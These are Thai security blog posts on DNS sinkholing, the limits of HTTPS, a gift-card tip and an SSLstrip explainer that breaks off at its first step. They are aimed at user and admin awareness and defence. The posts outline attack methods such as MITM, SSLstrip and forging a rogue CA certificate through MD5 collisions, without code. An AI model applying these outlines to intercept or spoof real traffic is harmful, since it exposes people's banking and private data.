- [Norton ConnectSafe](https://dns.norton.com/dnsweb/dnsForHome.do){rel=""nofollow""}
- [OpenDNS](https://www.opendns.com/business-solutions/premium-dns/benefits/){rel=""nofollow""}
> สำหรับงาน Forensics อยากทำ DNS Sinkhole แบบเร็ว ๆ บนเครื่องที่ Infected เพื่อดูว่า เครื่องนั้น connect ไปที่ไหนบ้าง สามารถทำได้หรือไม่?
ทำได้แน่นอน tool ที่อยากจะแนะนำให้ใช้คือ[ apatedns ของ Mandiant](https://www.mandiant.com/resources/download/research-tool-mandiant-apatedns){rel=""nofollow""} ที่จะ control DNS Response ตามใจเราได้
สุดท้ายนี้ อยากฝากหน่วยงานของรัฐหรือเจ้าหน้าที่ที่เกี่ยวข้อง ช่วย Control ISP ให้ ISP ทำ DNS Sinkhole บ้างครับ(เราเชื่อมั่นว่ายังไม่ได้ทำ สถิติมันฟ้องครับ) เนื่องจากเราไม่อยากเห็นประเทศไทยของเราเป็นเครือข่าย Botnet ลำดับต้น ๆ ของโลก

# HTTPS Insecurity Part 1
เรื่องน่าเบื่อที่ผู้ใช้งาน Internet คงได้ยินกันบ่อย ๆ คือ การเข้า Web ให้ปลอดภัยนั้นจะต้องดูว่าเป็น HTTPS หรือไม่
## ถ้าเป็น HTTPS แล้วจะปลอดภัยแน่เหรอ
การตรวจสอบ HTTPS นั้นทำได้โดยการดูที่ Address Bar และ ตรวจสอบรูปแม่กุญแจ (Padlock) หรือ Web Browser รุ่นใหม่ ๆ จะสามารถดูสีในช่อง Address Bar ได้เลย โดยสีเขียวจะสื่อถึง Web ที่ปลอดภัย และสีแดงจะสื่อถึง Web ที่ไม่ปลอดภัย

เพิ่มเติม บทความนี้จะใช้ KBank เป็นตัวอย่างนะครับ ซึ่งในช่วงนี้ Bank สีเขียวนี้โดนโจมตีอย่างหนักตามเวป Pantip แต่สำหรับทีมงานเราแล้ว เราเห็นว่าทางธนาคารมีการป้องกันที่ดี แต่ส่วนใหญ่ที่เป็นปัญหาคือ User ขาด Awareness มากกว่า
สำหรับในบทความนี้จะอธิบายถึง HTTPS ในรายละเอียด คำว่า "ปลอดภัย" สำหรับ HTTPS แล้วจริง ๆ มีการตรวจสอบอะไรบ้าง และปลอดภัยจริงหรือไม่ โดยบทความนี้จะแบ่งออกเป็น 3 ตอน
- ตอนที่ 1 – เรื่องพื้นฐาน PKI, Digital Certificate, HTTPS
- ตอนที่ 2 – ความเสี่ยงของ HTTPS
- ตอนที่ 3 – User และ Admin ควรจะต้องทำอะไร
## เริ่มจาก PKI (Public Key Infrastructure) คืออะไร
PKI เป็น Model ที่ใช้งานกันบน Internet เพื่อให้สามารถสร้างความไว้ใจซึ่งกันและกันได้
ในโลกแห่งความเป็นจริง ถ้า Alice ไม่รู้จักกับ Bob จะทำอย่างไรให้ 2 คนนี้ไว้ใจและเชื่อใจกันได้ ขอยกตัวอย่าง Scenario ซัก 2 รูปแบบนะครับ
1. Alice เริ่มเข้าไปคุยกับ Bob โดยตรงได้เลย หลังจากคุยกันสักพักก็ทำให้เกิดความเชื่อใจกัน
2. มี Trent\* (Trusted 3rd Party) เป็นคนกลางคอยแนะนำให้ Alice รู้จักกับ Bob
ใน PKI มี 2 entities หลักคือ User และ CA (Certificate Authority) โดย CA หมายถึงผู้ที่น่าเชื่อถือมีสิทธิ์ที่จะออก Digital Certificate ให้กับผู้อื่นได้ การออก Certificate ให้กับผู้อื่นนั้นจะใช้วิธีการที่เรียก Digital Signature เพื่อใช้ในการยืนยันว่าใครเป็นผู้ issue Digital Certificate
เราสามารถเปรียบ User ได้กับ Alice, Bob และ CA เปรียบได้กับ Trent นั่นเอง โดยถ้า Alice จะไว้ใจ Bob นั้นจะต้องมีองค์ประกอบง่าย ๆ ดังนี้
1. Alice ไว้ใจ Trent
2. Bob มี Digital Certificate ที่ issue โดย Trent
{width="100%"}
เพิ่มเติม ในความเป็นจริงแล้ว CA บนโลกนั้นมีอยู่หลายเจ้า ทำให้เกิดความซับซ้อนมากขึ้น เช่น มีการ Cross Trust กันในระดับ CA
## Digital Certificate คืออะไร
ทุกวันนี้โลกเรานั้นอยู่ยากมากขึ้นทุกวัน ใครบอกอะไรมาจะเชื่อถือทันทีไม่ได้ จะต้องมีเอกสารยืนยันก่อน เช่น บัตรประชาชน หรือ ใบขับขี่ เพื่อยืนยันตัวตน (Authentication)
เช่นเดียวกัน บนโลก Internet เอง จะใช้ Digital Certificate ในการยืนยันตัวตน โดยมาตรฐานที่นิยมใช้กันสำหรับ Digital Certificate คือ X.509
รายละเอียดของ X.509 Certificate
{width="100%"}
เราจะเน้นเฉพาะ Attribute หลัก ๆ ของ Digital Certificate นะครับ
- Subject = ชื่อของเครื่อง หรือ Web site ที่เป็นเจ้าของ Certificate
- Issuer = CA ที่เป็นผู้ issue Certificate นี้ โดยทั่ว ๆ ไปที่รู้จักกัน ได้แก่ VeriSign, Thawte
- Public Key = เรื่อง PKI นั้นจะเกี่ยวกับการ Asymmetric Key Algorithm ที่มีการใช้ Private Key และ Pubic Key ในการทำ Encryption-Decryption ด้วย
- Validity Period = ช่วงเวลาที่ Certificate นี้ Valid โดยเหตุผลหลักที่ต้องมีช่วงเวลาคือ ใช้จำกัดความเสี่ยงหาก Private Key ถูก Compromised ไป โดยทั่ว ๆ ไป Certificate จะมีอายุประมาณ 1-3 ปี แต่ก็มีบางที่ Admin ขี้เกียจทำเกี่ยวกับ Certificate ก็จะใส่ Validity Period ยาว ๆ เช่น 10-20 ปี ซึ่งหาก Private Key โดน Compromised หมายถึงว่าผู้ร้ายสามารถทำการ Decrypt Traffic ที่เป็น HTTPS ได้นั่นเอง ข้อมูลต่าง ๆ ที่มีการเข้ารหัสอย่างดี ก็โดนแกะได้ง่ายเลย
- CRL = Certificate Revocation List เป็น List ของ Digital Certificate ที่ถูกยกเลิก โดยส่วนใหญ่มักจะเป็นสาเหตุจาก Private Key ถูก Compromised ซึ่งการตรวจสอบ CRL นี้จะอยู่ที่ Setting ของเครื่อง Client เอง ซึ่งถือเป็นความเสี่ยงอย่างหนึ่งหากเครื่อง Client ไม่มีการ Set ให้ไปตรวจสอบ CRL นอกจาก CRL แล้วจะมี OCSP (Online Certificate Status Protocol) ที่มีหน้าที่ตรวจสอบ Validity ของ Certificate เหมือนกัน
- Certificate Authority’s Digital Signature = ข้อมูลสำคัญที่ใช้ในการตรวจสอบว่า Digital Certificate นี้ถูก Issue โดย Issuer จริง ๆ
ตัวอย่าง Digital Certificate
{width="100%"}
หมายเหตุ ค่า Common Name และ Subject คือค่าเดียวกันนะครับ
สำหรับ Certificate นี้ใช้สำหรับ Server ที่มี URL เป็น online.kasikornbankgroup.com ถูก issue โดย VeriSign และมีอายุประมาณ 1 ปี ซึ่งถือว่าเป็นระยะเวลาที่โอเค เพราะถ้าน้อยกว่านี้ Admin คงจะเหนื่อยแย่
สรุป หลัก ๆ แล้ว Digital Certificate จะใช้ประโยชน์ 2 อย่างคือ 1.Authentication 2.Encryption
## HTTPS คืออะไร
HTTPS คือ Protocol ที่ใช้ในการคุยกันระหว่าง Web Server และ Web Browser ซึ่งใน HTTPS จะมีขั้นตอนการ Verify ว่า Web Server นั้นเป็น Web Server ตัวจริงหรือไม่โดยดูจาก Digital Certificate จากนั้นจะมีการแลกเปลี่ยน Session Key (Symmetric Key) ผ่านค่า Public Key ใน Digital Certificate
โดยการตรวจสอบ Digital Certificate นั้นสามารถดูได้จาก Diagram ด้านล่างครับ
{width="100%"}
ซึ่งหลัก ๆ แล้วจะการดู Web Server Digital Certificate จะดูที่
- URL นั้นจะต้องตรงกับ Subject
- เวลาปัจจุบันอยู่ในช่วง Validity Period
- Root หรือ Chain ของ CA จะต้องมีการ Install บนเครื่อง Client
### สำหรับในบทความนี้เขียนอธิบายให้ดูง่าย ๆ เท่านั้นนะครับ ในความเป็นจริง จะซับซ้อนมากกว่านี้
เช่น
- Alice เชื่อใจ Bob แต่ Bob อาจไม่เชื่อใจ Alice ก็ได้ ซึ่งใน PKI จะแบ่งได้อีกว่าเป็น Unilateral Trust หรือ Mutual Trust (เชื่อใจซึ่งกันและกัน)
- เอกสารที่ใช้ในการยืนยันตัวตนมีได้หลายชนิด ซึ่งแต่ละชนิดให้ความน่าเชื่อถือไม่เท่ากัน เช่น บัตรประชาชน, บัตรประจำตัวนักเรียน, ใบขับขี่ ซึ่งเปรียบได้กับ CA แต่ละที่ ให้ความน่าเชื่อถือไม่เท่ากัน
## สำหรับในตอนแรกนี้เป็นการปูพื้นฐานก่อนนะครับ เดี๋ยวมาดูกันในตอนถัดไปว่ามีอะไรที่เป็นจุดเสี่ยงบ้าง
[/blogs/https-insecurity-part-2](https://incognitolab.com/blogs/https-insecurity-part-2)
[/blogs/https-insecurity-part-3](https://incognitolab.com/blogs/https-insecurity-part-3)
---
สำหรับคนที่ผ่าน Network Class มาคงจะคุ้นเคยกับ Alice และ Bob เป็นอย่างดี ซึ่งก็ใช้สำหรับการยกตัวอย่างเปรียบเทียบเป็น นาง A กับ นาย B นั่นเอง แต่พอเรียน Security Class แล้วเรื่องราวจะซับซ้อนมากขึ้นมีตัวละครต่าง ๆ เพิ่มขึ้นมาเช่น นาย C จะถูกเรียกว่า Charlie, นาย D จะถูกเรียกว่า Dave, Trusted 3rd Party จะถูกตั้งชื่อว่า Trent, Attacker ที่เป็นประเภท Eavedropper (ดักจับข้อมูล) จะถูกตั้งชื่อว่า Eve หรือ Malicious Attacker จะถูกตั้งชื่อว่า Mallory เป็นต้น
# HTTPS Insecurity Part 2
[/blogs/https-insecurity-part-1](https://incognitolab.com/blogs/https-insecurity-part-1)
หลังจาก Part 1 ได้มีการปูพื้นฐานของ PKI/Digital Certificate/HTTPS (SSL protocol) ไปแล้ว ใน Part 2 นี้จะขอพูดถึงความเสี่ยงของ HTTPS ที่สามารถเกิดขึ้นได้ครับ
## Case 1: Man-in-the-Middle Attack (MITM)
การดักข้อมูลระหว่างกลางโดยอาจจะใช้เทคนิค เช่น ARP spoofing หรือ DNS spoofing เพื่อทำการ Redirect เหยื่อ (ผู้ใช้งานทั่วไป/User) ไปที่ผู้ร้าย (Attacker) แล้วผู้ร้ายจะเป็นคน forward request ต่าง ๆ ของ เหยื่อ ไป Web ที่แท้จริงอีกต่อนึง
Man in the middle attack Ref: {rel=""nofollow""}
ซึ่งการโจมตีแบบ MITM ด้วยเทคนิคทั่ว ๆ ไปอย่างเดียวมักจะไม่ค่อยประสบความสำเร็จ เพราะ User มี Security Awareness ค่อนข้างดี (มั้งครับ) และ Web Browser ของ User จะมีการ Alert ว่าเป็น Untrusted Website เนื่องจาก Attacker มักจะใช้ Self-Signed Certificate (คือ Certificate ที่ issue เอง ไม่ใช่ issue มาจาก Trusted CA) มาหลอก User ที่ไม่รู้เรื่อง และคอยแต่จะกด Continue เพื่อติดตั้ง Certificate นั้นเข้าเครื่องตัวเอง หาก User ได้ติดตั้ง Certificate เข้า Trusted List แล้ว ก็สบาย Attacker เลยครับ เพราะว่าในภายหลังหากมีการเข้า Web นี้อีกก็จะไม่ขึ้น Alert เตือนแล้ว
## Case ที่ 1 นี้ก็เป็นเรื่องน่าเบื่อที่ผู้ใช้งาน Internet คงได้ยินกันบ่อย ๆ อยู่แล้วนะครับ
เพิ่มเติม อีกเทคนิคที่ค่อนข้างดังและคล้าย ๆ กับ MITM นั้นคือ Man-in-the-Browser(MITB) โดย MITB นั้นคือการดักข้อมูลที่ Web Browser ฝั่ง User เพื่อคอยแก้ไข HTTP Response เพื่อหลอก User ซึ่งหากถูกโจมตีด้วยเทคนิค MITB นี้ HTTPS ก็ไม่สามารถช่วยอะไรได้ครับ เดี๋ยวนี้พวก Malware ส่วนใหญ่จะใช้เทคนิค MITB โดยรายละเอียดเพิ่มเติมสามารถไปอ่านได้ที่บทความก่อนหน้านี้ [Banking Trojan](https://incognitolab.com/blogs/banking-trojan) ครับ
เพิ่มเติม สำหรับเทคนิค SSLStrip นั้นจะคล้าย ๆ กับ Case ที่ 1 แต่โดยส่วนตัวผมไม่คิดว่าเกี่ยวกับ Cryptography เท่าไรนัก แต่เดี๋ยวไว้จะเขียนในบทความถัด ๆ ไปครับ
## Case 2: Expired Certificate ( Certificate หมดอายุ)
ถ้าจำกันได้ในตอนที่ 1 นั้นได้อธิบายไปแล้วว่า Digital Certificate มี Validity Period อยู่ หากเลยเวลาในช่วงดังกล่าว Web Browser จะทำการแจ้งเตือนว่าเป็น Untrusted Website ซึ่งเป็นหน้าที่ของ Web Admin ที่จะต้องคอยดูแล ต่ออายุให้ Certificate นั้น ๆ โดยส่วนตัวเคยเจอกับ Website ของบริษัท/สถาบันการเงินหลายแห่ง ซึ่งก็น่าเห็นใจ Web Admin เหมือนกัน เนื่องจาก หากมี Website ที่จะต้องคอยดูแลเป็นร้อย ๆ และแต่ละ Certificate มีอายุ 1 ปี ก็แทบจะต้องต่อกันทุกวันเลยทีเดียว แต่หากจะยืดอายุ Certificate ให้นานขึ้นก็หมายถึงความเสี่ยงที่จะต้องยอมรับมากขึ้นหาก Certificate ถูก Compromised ไปครับ
## Case 3: Endpoint get hacked
อีก 1 case สำหรับผู้ใช้งานทั่วไป หากโดนโจมตีไม่ว่าวิธีไหนก็ตามแล้วโดนติดตั้ง Certificate เถื่อน ๆ ทั้งหลายบน Web Browser คราวนี้คงจะวุ่นวายมากทีเดียว เพราะว่าต่อให้เข้า Web ปลอม ๆ ก็จะไม่มีอะไรแจ้งเตือนแล้ว หนึ่งในวิธีป้องกันคือการ Review Trusted List บน Web Browser บ่อย ๆ ซึ่งคงจะไม่ Effective แน่ ๆ ดังนั้นอย่างน้อยเราควรจะป้องกันเครื่องตัวเองให้รอดพ้นจากเงื้อมมือโจรร้าย ด้วยวิธีทั่ว ๆ ไปเช่น การ Update Patch, Update Application และ Update Antivirus Signature เป็นประจำ
วิธีการดู List ของ Certificate ที่มีการติดตั้งบนเครื่องเรา ดูได้ตาม Link ด้านล่างครับ
- FireFox –> {rel=""nofollow""}
- Internet Explorer –> [https://support.comodo.com/index.php?\\\_m=knowledgebase&\\\_a=viewarticle\&kbarticleid=1255](https://support.comodo.com/index.php?%5C_m=knowledgebase&%5C_a=viewarticle&kbarticleid=1255){rel=""nofollow""}
- อุปกรณ์ Mobile Device ก็มีการ Install Certificate เช่นเดียวกัน โดย iOS จะมาเป็นส่วนหนึ่งของ Profile ที่ install ที่เครื่อง
## Case 4: Flame Malware
Malware ชื่อดังอย่าง Flame ซึ่งเป็น Malware ที่มุ่งโจมตีไปที่เครื่องในประเทศอิหร่าน โดยใช้ Certificate ซึ่งถูก issue โดย Microsoft CA หลักการในการกระจายตัวของ Flame นั้นเริ่มจากการดักจับ Request Windows Update จากเครื่องที่ยังไม่ติด Flame ใน Network วงเดียวกัน เมื่อเจอแล้วก็จะปลอมตัวเป็น Microsoft Update Server เพื่อกระจายตัวเองไปสู่เครื่องเหล่านั้น ซึ่งถือว่าเป็น MITM รูปแบบหนึ่ง แต่ว่าใช้ Certificate ที่ Valid ทำให้เหยื่อไม่สามารถรู้ตัวได้เลย
หลังจาก Flame ถูกค้นพบ ทาง Microsoft ได้รีบออก Patch เพื่อ Remove CA ที่ถูก Compromised ออกจาก Trusted List ทันที ซึ่งวิธีการป้องกันดูเหมือนจะง่ายมากสำหรับ User ทั่ว ๆ ไป แต่สำหรับองค์กรใหญ่ ๆ ที่เครื่องเป็นหมื่น เป็นแสน นั้นคงไม่สามารถทำได้อย่างรวดเร็วแน่

Ref: [Microsoft Security Advisory (2718704)](http://technet.microsoft.com/en-us/security/advisory/2718704){rel=""nofollow""}
Microsoft Security Advisory (2718704) :br
Ref: {rel=""nofollow""}
## Case 5: Compromised Certificate Authority (CA) Server
เมื่อ CA Server ซึ่งเป็น Server สำหรับ Issue Digital Certificate ถูก Compromised นั้น ทำให้มีโอกาสที่ ผู้ร้ายจะสร้าง Rogue Digital Certificate เองแล้วนำไปใช้ ทำให้ Web ของผู้ร้ายมีความน่าเชื่อถือมากขึ้น หรือเลวร้ายกว่านั้น เช่น ข่าวเมื่อประมาณ 2 ปีที่แล้วของ DigiNotar ที่ถูก Hack CA Server โดยคาดว่าผู้ทีอยู่เบื้องหลังคือ รัฐบาลของประเทศอิหร่าน ทำไปเพื่อให้สามารถ monitor/intercept traffic ของกลุ่มผู้ที่คัดค้านรัฐบาลได้ โดยมีการ issue Certificate ของ Web ดัง ๆ มากมายรวมไปถึง Google, Yahoo, WordPress, Twitter, Microsoft ซึ่ง Case ถึงกับทำให้ DigiNotar เสียหายรุนแรงจนต้องปิดบริษัทไป
## CASE 6: การสร้าง Rogue CA Certificate
เทคนิคการสร้าง Rogue CA Certificate นี้เป็นเทคนิคที่ดังมากในช่วงปี 2008 – 2009 โดยจะใช้เทคนิคที่เรียกว่า Collision Attack บน Hash Function ที่มี Algorithm เป็น MD5
Hash Function คือวิธีการคำนวณรูปแบบหนึ่งที่จะ map ค่า (Value) ใด ๆ ก็ตามให้เป็นอีกค่าหนึ่งซึ่งมีความยาวจำกัด (Fixed Length) ซึ่งรายละเอียดของ Hash Function นั้นขอไม่ลงรายละเอียด เดี๋ยวจะยาวเกินไปนะครับ
สำหรับ Collision Attack คือ การโจมตีที่พยายามหาค่า (Value) ใด ๆ ก็ตาม 2 ค่าที่ process ผ่าน Hash Function แล้วได้ค่าเดียวกัน ตามตัวอย่างด้านล่าง "John Smith" และ "Sandra Dee" จะมี Hash Value ที่ตรงกันนั่นคือ "02"
MD5 เป็น Hash Function Algorithm ชนิดหนึ่ง ซึ่งปัจจุบันถือว่าไม่ปลอดภัยแล้ว จึงเปลี่ยนมาใช้ Algorithm ที่เป็น SHA แทน
การสร้าง Rogue CA Certificate โดยคร่าว ๆ นั้นเริ่มจาก
1a. Attacker เลือก CA ที่มีความน่าเชื่อถือที่ใช้ MD5 เป็น Hashing Algorithm สร้าง Digital Certificate ให้ โดยขั้นตอนนี้เป็นการ Request Certificate จาก CA ตามปกติ เช่น Request CA ให้สร้าง Web Server Certificate ซักอัน
1b. Attacker สร้าง Rogue CA Certificate ขึ้นมาโดยระบุประเภทของ Certificate นี้ให้ใช้สำหรับ Intermediate CA Server (หากเป็นประเภทอื่น Certificate นี้จะไม่สามารถนำไป Issue Certificate อื่น ๆ อีกได้) ซึ่ง Attribute ต่าง ๆ ของ Rogue CA Certificate นี้จะถูกคำนวณมาอย่างดี เพื่อให้มีค่า MD5 Hash value ที่ตรงกันกับ Digital Certificate ที่ได้จากข้อ 1a.
2. เมื่อสร้าง Rogue CA Certificate และนำไปใช้กับ Rouge CA Server แล้ว Attacker จะสามารถ Issue Digital Certificate ที่น่าเชื่อถือให้กับ Web อะไรก็ได้ตามที่ Attacker ต้องการ โดยที่การ Verify Certificate Chain จะไป Trust กันที่ระดับ CA ในข้อ 1a ซึ่ง Web Browser ทั่ว ๆ ไปจะมี Certificate ของ CA นั้น ๆ install อยู่ใน Trusted List อยู่แล้ว
3. ขั้นตอนหลอกเหยื่อให้เชื่อถือโดยการสร้าง Web ปลอม ๆ ขึ้นมาแล้วนำ Certificate ที่ Sign โดย Rogue CA Server ไปใช้งานเพื่อหลอกให้ User เข้ามาโดยส่วนใหญ่มักจะใช้พวกวิธี Phishing หรือการทำ DNS Spoofing ซึ่งคือวิธีการทำให้เครื่อง User resolve DNS แล้วได้เป็น IP address ของเครื่อง Attacker แทนที่จะเป็นเครื่องที่ถูกต้องจริง ๆ
สำหรับในตอนต่อไปเราจะมาดูกันว่าในฐานะที่เราเป็น User ผู้ใช้งานทั่วไป หรือ Admin ผู้ดูแลระบบ ควรจะต้องทำอย่างไรบ้าง
[/blogs/https-insecurity-part-3](https://incognitolab.com/blogs/https-insecurity-part-3)
# Gift Card
สำหรับหลาย ๆ คนที่ได้ใช้บริการบัตรเครดิตในการซื้อของ Online เป็นประจำ หรือแม้แต่มีการใช้งานในต่างประเทศบ่อย ๆ นั้น อาจจะไม่ค่อยสบายใจนัก หากบัตรที่ใช้มีวงเงินสูง เนื่องจากหากถูกขโมยไปใช้งาน กว่าจะทำเรื่องแจ้งหาย ยกเลิก เรียบร้อยก็อาจจะถูกนำบัตรไปใช้สร้างหนี้มหาศาลแล้ว หรือแม้แต่เหตุการณ์ที่โด่งดังในประเทศไทยที่มีการขโมย Apple ID แล้วนำบัตรเครดิตที่ผูกกับ Apple ID ไปใช้งานซื้อของ
Gift Card หรือบัตร Prepaid ที่เราเห็นโดยส่วนใหญ่นั้น มักจะเห็นในรูปของบัตรสำหรับ Service ต่าง ๆ เช่น Online Game, Amazon, iTunes, etc. แต่เมื่อเร็ว ๆ นี้ผมได้มีโอกาสเดินทางไปต่างประเทศก็ได้พบว่าที่ต่างประเทศนั้นมีการขาย Gift Card ใน Super Market กันอย่างแพร่หลาย โดยเฉพาะ Gift Card ของ Visa และ MasterCard ที่จะช่วยให้สามารถใช้จ่ายเงินทาง Online ได้อย่างสบายใจ เนื่องจากวงเงินที่มีจำกัด และวงเงินนั้นก็จะขึ้นอยู่กับเงินที่เราซื้อมานั่นเอง
เท่าที่เห็นในไทยมักจะเห็นบัตร iTunes, XB0x, Wii เป็นส่วนใหญ่ พวก Gift Card ของ Visa และ MasterCard อาจจะหายากซักหน่อย แต่มีอีกช่องทางที่น่าสนใจคือบริการ K-Web Shopping Card ของ KBank ที่ออกบัตร Virtual Credit Card และสามารถควบคุมวงเงินได้ทันทีครับ
# HTTPS Insecurity Part 3
[/blogs/https-insecurity-part-2](https://incognitolab.com/blogs/https-insecurity-part-2)
ถึงตอนนี้แล้วทุกคนอาจมีคำถามว่า HTTPS ปลอดภัยหรือไม่?
HTTPS นั้นปลอดภัยกว่า HTTP แน่นอน แต่ปัญหาส่วนใหญ่ของ HTTPS นั้นอยู่ที่ Implementer และ User
Part 3 เป็นตอนสุดท้ายสำหรับเรื่องนี้แล้วนะครับ ในตอนนี้จะเน้นการป้องกันที่ฝั่ง User และ Admin
## เริ่มที่ User (ผู้ใช้งานทั่วไป) จะต้องทำอะไรบ้าง
- Update Patch เป็นประจำ เพราะว่าใน Patch นั้นจะมีเรื่องการ update Trusted Certificate List อยู่ด้วย วิธีการดู Certificate List ของ [Internet Explorer](https://support.quovadisglobal.com/KB/a40/viewing-certificates-in-internet-explorer.aspx){rel=""nofollow""} และ [Firefox](https://support.quovadisglobal.com/KB/a41/how-do-i-check-my-certificates-on-firefox.aspx){rel=""nofollow""}
Firefox Certificate List
- Update Antivirus Signature เป็นประจำ เพื่อช่วยป้องกัน Malware ทั้งหลายที่อาจใช้เทคนิคในการแก้ host file ที่เครื่องของเหยื่อเพื่อ redirect ไปหน้า Web ของผู้ร้าย
- ลอง Scan จาก {rel=""nofollow""} เพื่อดูว่า Browser ที่เราใช้งานมี Plugin ที่มีช่องโหว่หรือไม่ ถ้ามีก็ควรจะ update
- Update Web Browser เป็นประจำ เพราะถ้าไม่ใช้ Internet Explorer การ Update Patch ก็ไม่ได้ช่วยอะไร เนื่องจาก List ของ Trusted Certificate นั้นแยกกัน
- ตรวจสอบให้แน่ใจว่ามีการ Enable การเปิดใช้งาน Protocol OCSP หรือมีการ Check CRL อยู่ ซึ่งโดยส่วนใหญ่จะมีการ Enable โดย Default อยู่แล้ว
- สำหรับ Internet Explorer ตรวจสอบได้จาก Tools > Internet Options > Advanced โดยจะต้องมีเครื่องหมายถูก หน้า Check for publisher’s certificate revocation และ Check for server certificate revocation
- สำหรับ Firefox ตรวจสอบได้จาก Preferences > Advanced > Encryption > Validation
- ตรวจสอบเป็นประจำที่ Web Browser ว่ามี Certificate อะไรแปลกปลอมเข้ามา Install ในเครื่องเราหรือไม่ หากมี Certificate ที่น่าสงสัยอยู่ใน Trusted List ก็สามารถ Remove ได้เลย
- นอกจากเครื่อง PC/Laptop แล้วพวก Mobile Device จะต้องตรวจสอบเหมือนกันว่ามี Certificate อะไรแอบมาอยู่ในเครื่องเราบ้าง ถ้าเป็นอุปกรณ์ IOS มักจะมาอยู่ในรูปแบบของ Profile ที่ Install ที่เครื่อง
> สำหรับ Admin ทั้งหลาย ไม่ว่าจะเป็น Web Server Admin หรือ Admin ที่ทำหน้าที่ Client Management ใน Enterprise ใหญ่ ๆ นะครับ
## Web Server Admin
- การทำ Key Management ควรจะมีการใช้ Complex Password เพื่อป้องกันการเข้าถึง Key โดยเฉพาะเมื่อมีการ Export Key ออกมา เพื่อที่จะนำไปลงที่เครื่อง Redundant หรือ Backup
- Removable Media ทั้งหลายที่มีการใช้ระหว่างการ Transfer Key เมื่อใช้งานเสร็จเรียบร้อยแล้วควรจะใช้พวก Secured Delete Tool ลบข้อมูล เพื่อป้องกันการ Recover Key ขึ้นมาได้
- อย่าใช้ Certificate ที่มีอายุนานเกินไป เพราะถ้าถูก Compromised แล้วไม่รู้ตัว จะไม่มีอะไรช่วย Limit ความเสี่ยง
- ในระดับ Web Server นั้นสามารถเลือกตั้งให้ Cipher Suite ที่มีความปลอดภัยสูงได้ เพื่อป้องกันการ Decrypt SSL channel ซึ่งการตรวจสอบว่าปัจจุบัน Web Server เรานั้นตั้ง Cipher Suite ไว้ดีหรือไม่ดี ถ้า Web Server สามารถเข้าจาก Internet ได้แนะนำให้ใช้ Service จาก Qualys ได้ที่ {rel=""nofollow""} หรือหากเป็นเครื่องที่อยู่ใน Internal network สามารถใช้ [SSLScan](https://sourceforge.net/projects/sslscan/){rel=""nofollow""} เพื่อตรวจสอบได้
## Client Management Admin
- Patch Management มักจะมีการแบ่งรอบการทำเป็น Monthly หรือ Quarterly ซึ่งสาเหตุหลักมักเกิดจาก การรอทำ Test ต่าง ๆ ว่า Patch จะไม่มีผลอะไรกับ Application ในองค์กร ซึ่งสำหรับ Patch ที่ทำหน้าที่ Update Certificate นั้น ผลกระทบ (Impact) ต่อการใช้งานค่อนข้างต่ำมาก แต่มีผลต่อเรื่องความปลอดภัยสูงมาก อาจจะพิจารณารอบการลง Patch เป็นพิเศษ หากมี Patch ที่เกี่ยวกับ Certificate
- หากมีการสร้าง Internal Certificate Authority Server เพื่อใช้ภายในองค์กรนั้น ต้องตรวจสอบให้แน่ใจว่า Client สามารถ access URL ของ OCSP หรือ CRL ได้ โดยที่ URL เหล่านี้มักจะชี้ไปที่ CA Server ขององค์กร แต่เนื่องจากองค์กรส่วนใหญ่มักใช้ Firewall Block User ทั่วไปไม่ให้ access CA Server ส่งผลให้ Client ไม่สามารถใช้งาน OCSP หรือ CRL ได้วิธีการตรวจสอบสามารถทำได้โดยเข้า URL ของ OCSP หรือ CRL จาก Web Browser ของเครื่อง Client ครับ โดย URL ของ OCSP และ CRL นั้นจะเป็น Attributes ที่อยู่ใน Certificate ครับ
- กรณีมี Active Directory (AD) อย่าลืม Enforce Group Policy เกี่ยวกับเรื่อง Certificate Revocation ให้กับเครื่อง Client ทั้งหลาย โดยสามารถดูรายละเอียดได้ที่ [Microsoft Technet](https://technet.microsoft.com/en-us/library/cc753863.aspx){rel=""nofollow""}
เป็นการจบ Series ของเรื่องนี้นะครับ หวังว่าจะช่วยให้ทุกคนลดโอกาสการตกเป็นเหยื่อของผู้ร้ายได้นะครับ
---
[/blogs/https-insecurity-part-1](https://incognitolab.com/blogs/https-insecurity-part-1)
[/blogs/https-insecurity-part-2](https://incognitolab.com/blogs/https-insecurity-part-2)
# Extra: HTTPS Insecurity with SSLstrip
SSLstrip เป็น 1 ในเทคนิคที่นิยมใช้กันในการทำ Man-in-the-middle เพื่อดักข้อมูล ซึ่งถูกคิดค้นโดย Moxie Marlinspike (คุณพี่ Deadlock นั่นเอง) และได้ถูกนำมา present ในงาน Black Hat DC 2009
## ทำไมต้อง SSLstrip
โดยปกติการทำ Man-in-the-middle กับ Encrypted Traffic (HTTPS) นั้น Attacker จะติดปัญหาคือไม่สามารถ Decrypt Data ได้ ทำให้ไม่สามารถอ่านข้อมูลได้นั่นเอง หากต้องการจะอ่านข้อมูลก็มักจะใช้วิธีการทำ SSLsniff ซึ่งวิธีจะเป็นการ Decrypt HTTPS Traffic ระหว่างทางโดยการสร้าง SSL Tunnel 2 อัน เพื่อคุยระหว่างกับ User กับ Attacker และระหว่าง Attacker กับ Server
ซึ่งวิธีการทำ SSLsniff นี้มักจะเป็นปัญหาเนื่องจาก Certificate ที่ใช้ระหว่างเครื่อง User และ Attacker จะไม่ถูก Trust โดย Web Browser ทำให้ขึ้นหน้า Certificate Error ที่ฝั่ง User (Client) ดังนั้น User ที่มี Awareness ดีหน่อยก็อาจจะรอดพ้นจากวิธีการทำ SSLsniff ได้
รายละเอียดการ Trust กันของ PKI อ่านได้จาก
**HTTPS Insecurity Part 1**
[/blogs/https-insecurity-part-1](https://incognitolab.com/blogs/https-insecurity-part-1)
ทำให้โอกาสประสบความสำเร็จของ Attacker นั้นลดลง แต่หากใช้ SSLstrip ปัญหา Certificate Error จะหมดไปทันที
## SSLstrip ทำงานอย่างไร
SSLstrip ทำงานบนสมมติฐานว่าโดยปกติ User ไม่ได้เข้า Website ที่เป็น HTTPS โดยตรงแต่มักจะถูก Redirect ให้เข้า ตัวอย่างเช่น เราพิมพ์ URL {rel=""nofollow""} จะโดน Server จะทำการ Redirect ให้เราไปที่ {rel=""nofollow""} แทน
Trick ของ SSLstrip คือการโจมตีไปที่ HTTP (ข้อมูลจะไม่ถูกเข้ารหัส) แทนที่จะโจมตี HTTPS ซึ่งทำโดยวิธีการใช้ Man-in-the-middle บวกกับการบังคับไม่ให้ User คุยกับ Server ผ่าน HTTPS แต่จะเป็นการคุยโดย
1. เครื่อง Attacker คุย HTTPS กับ Server
2. เครื่อง User (Client) คุย HTTP กับ Attacker
## ขั้นตอนการใช้งาน SSLstrip
ขั้นตอนที่ 1 (เหมือนกับการทำ Man-in-the-middle ทั่วไป)
- ตั้ง Forward Packet
